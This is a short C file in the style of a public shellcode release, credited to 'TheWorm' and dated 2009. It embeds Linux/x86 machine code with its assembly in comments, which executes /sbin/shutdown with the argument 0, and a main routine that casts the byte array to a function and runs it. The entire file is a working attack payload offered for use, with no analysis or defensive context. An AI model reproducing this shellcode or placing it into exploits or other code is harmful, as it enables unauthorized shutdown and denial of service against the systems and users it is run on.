#include <stdio.h> const char shellcode[]= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x64\x6f\x77\x6e" // push $0x6e776f64 "\x68\x73\x68\x75\x74" // push $0x74756873 "\x68\x69\x6e\x2f\x2f" // push $0x2f2f6e69 "\x68\x2f\x2f\x73\x62" // push $0x62732f2f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x6a\x30" // push $0x30 "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\xcd\x80"; // int $0x80 int main() { printf ("\n[+] Linux/x86 execve(/sbin/shutdown,/sbin/shutdown 0)" "\n[+] Date: 11/07/2009" "\n[+] Author: TheWorm" "\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1); (*(void (*)()) shellcode)(); return 0; }